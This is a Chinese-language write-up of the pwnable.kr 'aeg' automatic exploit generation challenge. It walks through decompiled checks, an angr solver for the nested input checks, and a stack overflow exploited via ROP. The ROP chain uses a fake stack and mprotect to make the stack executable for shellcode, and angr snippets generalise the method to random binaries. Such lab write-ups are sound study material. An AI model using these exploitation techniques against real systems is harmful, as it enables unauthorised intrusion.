Pwnable kr aeg
前言
AEG(Automatic Exploit Generation),主要是自动化类的题目。什么是自动化类的题目?
拿本题来说,题目要求我们连接一个服务器,连接后发现他会返回一堆数据,这些数据合在一起就是一个执行程序,然后服务器要求我们在十秒内破解它。
每次的程序都不一样,但是大致样子又都是一样的,所以要找到这类程序的共性,这就是自动化类题目。
本篇文章主要分为三个部分: 首先是对某次得到的程序进行分析,然后对于该程序进行破解,最后是将方法扩展到随机程序。
程序分析
程序要求有两个参数,第一个是 payload 的长度,第二个是 payload 的十六进制格式。
删了很多的 main 函数如下所示,大致流程看注释即可。
int main(int argc, char **argv)
{
if ( argc == 2 )
{
// 一个莫名其妙的函数,就是结果 return 0
v4 = sub_12319A5(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);
srand(v4);
// payload length
dword_14341D0 = strlen(argv[1]) >> 1;
if ( dword_14341D0 <= 1000 )
{
v15 = 0;
// 对于输入的 payload,进行转换,如输入 ab,最终得到 0xab
while ( 2 * dword_14341D0 > v15 )
{
v7 = argv[1][v15];
v8 = argv[1][v15 + 1];
__isoc99_sscanf(&v7, "%02x", &byte_14341E0[v5]);
v15 += 2;
}
// 对 payload 进行异或加密
for ( i = 0; i < dword_14341D0; ++i )
{
if ( i & 1 )
byte_14341E0[i] ^= 0x13u;
else
byte_14341E0[i] ^= 0xFEu;
}
puts("payload encoded. let's go!");
// 开始执行危险函数
sub_123190(byte_14341E0, byte_14341E1, byte_14341E2);
puts("end of program");
}
}
}
现在来看一下它的危险函数是什么样子。
char sub_1231900(char a1, char a2, char a3)
{
char result; // al
result = a3;
if ( a1 == -29 )
{
result = -6 - a2;
if ( a2 == -60 )
{
result = 50 * a1 + 19 * a2 - a3;
if ( result == 68 )
result = sub_1231888(byte_14341E3, byte_14341E4, byte_14341E5);
}
}
return result;
}
char sub_1231888(char a1, char a2, char a3)
{
char result; // al
result = a3;
if ( a1 == 55 )
{
result = -49 - a2;
if ( a2 == -57 )
{
result = 22 * a1 + a2 - a3;
if ( result == 3 )
result = sub_1231803(byte_14341E6, byte_14341E7, byte_14341E8);
}
}
return result;
}
...
char __fastcall sub_12311D0(char a1, char a2, char a3)
{
char result; // al
result = a3;
if ( a1 == 19 )
{
result = 107 - a2;
if ( a2 == 62 )
{
result = 16 * a1 + 77 * a2 - a3;
if ( result == 52 )
result = (unsigned __int64)sub_12311A8();
}
}
return result;
}
void *sub_12311A8()
{
char dest; // [rsp+0h] [rbp-20h]
return memcpy(&dest, &unk_1434210, dword_14341D0 - 48);
}
可以看到,用套娃这个词来描述它非常合适,它就是对 payload 进行三个字节三个字节检查,一共执行 16 次,如果全部通过,那么就会触发一个 stack overflow.
所以很明显首先就要通过这样的检查,其实人工计算也是可以的,但是对于这种对输入进行一系列变换最后进行比对的模式,使用 angr 这个工具是再合适不过了。
代码如下,我们假设这个套娃函数开始是
cyclic_00,最终的函数就是 cyclic_16.那么
start_addr 就是指 main 函数中执行 cyclic_00 的语句,sucess_addr 就是 cyclic_16 的地址。def compute_password(project, start_addr, data_addr, sucess_addr):
initial_state = project.factory.blank_state(addr=start_addr)
data_size = 8 * (0x30)
data = claripy.BVS('data', data_size)
initial_state.memory.store(data_addr, data)
fail_addr = start_addr + 0x2C
simulation = project.factory.simgr(initial_state)
simulation.explore(find=sucess_addr, avoid=fail_addr)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.solver.eval(data, cast_to=bytes)
return solution
else:
raise Exception('Could not find the solution')
推荐去看一下
angr-ctf-py3 这个项目的前几个题目,对学习 angr 挺有帮助。
溢出构造
下面就是溢出该怎么溢出了,程序开了 NX,其他啥都没开,很明显要使用 ROP.
TODO: 这里我突然感觉似乎可以去泄露 libc 去做,流程是如下。首先就是遍历各个版本的 write,输出内存,然后就可以使用 DynELF 去做了,似乎好像可以这样搞哎。
但是并不能知道 libc 的版本,因此 one_gadget 等等都是无法得到的地址,这就很麻烦,这也是这题难点之一。
突破点在于使用 mprotect 函数,利用它我们就可以把某片内存的保护模式给改掉,所以尝试改掉栈空间,让它有 x 权限,这样我们在溢出的栈空间中写上 shellcode,就可以顺利逃脱 NX 的防护机制。
另一个关键点是哪里有 ROP,使用 ROPgadget 发现如果是 pop|ret, mov|ret 均这种形式无法修改 rdx 寄存器,这个寄存器是 64 位下第二个参数,是我们使用 mprotect 绕不开的。
后来也是看网上的题解,才发现之前的 main 函数有一个这条语句 v4 = sub_12319A5(1LL, 2LL, 3LL, 4LL, 5LL, 6LL);,观察它的汇编代码,可以发现,我们可以利用它进行 ROP!
; sub_12319A5
.text:00000000012319A5 000 push rbp
.text:00000000012319A6 008 mov rbp, rsp
.text:00000000012319A9 008 sub rsp, 50h
.......
.text:00000000012319CD 058 mov rcx, [rbp+var_48]
.text:00000000012319D1 058 mov rdx, [rbp+var_30] ====> gadget
.text:00000000012319D5 058 mov rsi, [rbp+var_38]
.text:00000000012319D9 058 mov rax, [rbp+var_28]
.text:00000000012319DD 058 mov r9, r8
.text:00000000012319E0 058 mov r8, rdi
.text:00000000012319E3 058 mov rdi, rax
.text:00000000012319E6 058 call sub_1231982 ====> an empty function
.text:00000000012319EB 058 mov [rbp+var_4], eax
.text:00000000012319EE 058 mov eax, [rbp+var_4]
.text:00000000012319F1 058 leave
.text:00000000012319F2 000 retn
TODO: 为什么这个程序没有 lib_csu_init
构造虚假的栈空间,然后通过上面的 ROP,最后就会将栈中间的数据赋值到相应寄存器~
怎么构造虚假的栈空间,也好办,只要将 rbp 改成我们可以控制的数据段就可以了。就像最后的返回地址改成我们写的 shellcode 那里一样,我们把 rbp 改成我们写的 虚假栈空间 那里。
扩展到随机程序
通过上面的步骤,终于将本次的程序搞定了。可是...下次程序就不一样了呀...
不过大致形式比较类似,所以从找共同点。
-
找到套娃函数的开始位置,即哪里执行了
call cylic_0,发现这个始终是main倒数第二个call.
cfg = project.analyses.CFGFast() main_func = cfg.kb.functions.function(name='main') main_call = sorted(main_func.get_call_sites()) start_addr = main_call[-2] -
找到套娃函数的最终成功位置,发现总是一共会执行 16 次,即执行到
cylic_16会成功
success_addr = main_func.get_call_target( start_addr ) for i in range(16): success_func = cfg.kb.functions.function( success_addr ) success_call = sorted( success_func.get_call_sites() ) success_addr = success_func.get_call_target( success_call[0] ) -
寻找 gadget
gadget_addr = main_func.get_call_target( main_call[1] ) + 0x2C -
寻找
mprotect地址,通过mprotect@plt即可
obj = project.loader.main_object mprotect_addr = obj.plt['mprotect'] -
寻找存储 payload 地址,假设是
data,发现总会有lea rdx, data[rax]语句,所以前三字节是固定的
with open(path_to_binary, 'rb') as f: s = f.read() # lea rdx, xxx[rax] lea_addr = s.find(b'H\x8d\x90') data_addr = u32( s[lea_addr+3 : lea_addr+7] ) -
寻找 xor 值,不同程序是不同的。
if ( i & 1 ) byte_14341E0[i] ^= 0x13u; else byte_14341E0[i] ^= 0xFEu;
xor_data = [0, 0] xor_addr = s.find(b'\x83\xf0') xor_data[0] = s[ xor_addr+2 ] xor_addr = s.find(b'\x83\xf0', xor_addr+2) xor_data[1] = s[ xor_addr+2 ] -
查找套娃函数的栈分配是多少,即需要填充多少字节,然后才可以溢出,这个填充数也是不一样的
进入套娃函数分析,刚开始就是调整栈空间,所以就读入语句即可。
.text:00000000012311A8 000 push rbp .text:00000000012311A9 008 mov rbp, rsp .text:00000000012311AC 008 sub rsp, 20h =======> change rsp .text:00000000012311B0 028 mov eax, cs:dword_14341D0 ... .text:00000000012311C8 028 call _memcpy .text:00000000012311CD 028 nop .text:00000000012311CE 028 leave .text:00000000012311CF 000 retn
block = project.factory.block( success_addr + 0x4 ) padding_len = (block.bytes[3])
最终搞定~
总结
- angr 的初步学习,以后利用 angr 分析程序可以看一下这个代码
- 一个很巧妙的 ROP:
mov ..... call ... ret,这种形式不会被 ROPgadget 检测到 - 要想到使用
mprotect来修改内存权限